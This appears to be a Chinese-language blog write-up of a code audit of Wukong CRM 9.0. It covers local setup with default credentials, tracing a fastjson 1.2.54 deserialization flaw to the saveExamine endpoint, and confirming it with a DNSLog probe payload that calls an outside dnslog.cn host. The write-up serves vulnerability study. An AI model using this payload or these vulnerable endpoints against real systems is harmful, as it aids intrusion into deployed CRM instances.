一. 本地搭建
版本:Wukong CRM9.0
1. 搭建需要使用myql数据库和redis两个,使用phpstudy搭建即可,mysql数据库的文件为WukongCRM-9.0-JAVA-9.0.1_20191202/src/main/resources/config/crm9-config.txt,将下载的crm9.sql导入数据库即可,数据库格式为UTF-8; redis配置文件为同目录下的redis.json文件,redis默认密码为123456。
2. 配置好后使用idea打开,配置Tomcat中间件进行本地运行,没有报错正常起来界面如下,默认账号为:admin/123456
二. fastjson漏洞审计
1. 查看pom.xml文件,发现引用了fastjson组件,版本为有漏洞的1.2.54。
2. 确定后,查找哪里引用了组件,并且是可控的。
查找所有文件搜索: JSON.parseObject
3. 发现好多地方引用,这个方法如果没有其他处理的话,是会引起反序列话的,进入一个查看具体的代码。
在AdminExamineController.java中的添加审批处:
代码解释
@Permissions("manage:examineFlow:update")
这是一个注解,用于权限控制。表示调用此方法需要具有 manage:examineFlow:update 权限。
public void saveExamine()
定义了一个公共方法 saveExamine,该方法没有返回值(void)。
JSONObject jsonObject = JSON.parseObject(getRawData());
从请求中获取原始数据(getRawData() 方法返回一个字符串),并将其解析为一个 JSONObject 对象。
JSON.parseObject 是一个将 JSON 字符串转换为 JSONObject 的方法。
renderJson(examineService.saveExamine(jsonObject));
调用 examineService 对象的 saveExamine 方法,并将解析后的 jsonObject 作为参数传递。
examineService.saveExamine(jsonObject) 的返回值将被传递给 renderJson 方法,用于生成 HTTP 响应的 JSON 格式数据。
4. 根据提示找到添加审批处,抓包尝试dnslog。
5. 打开dnslog平台,使用fastjson漏洞poc探测,可以看到成功回显。
{"zeo":{"@type":"java.net.Inet4Address","val":"0r8b41.dnslog.cn"}
结尾:这只是其中的一处,根据代码搜索看在产品处,线索处等都存在漏洞。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)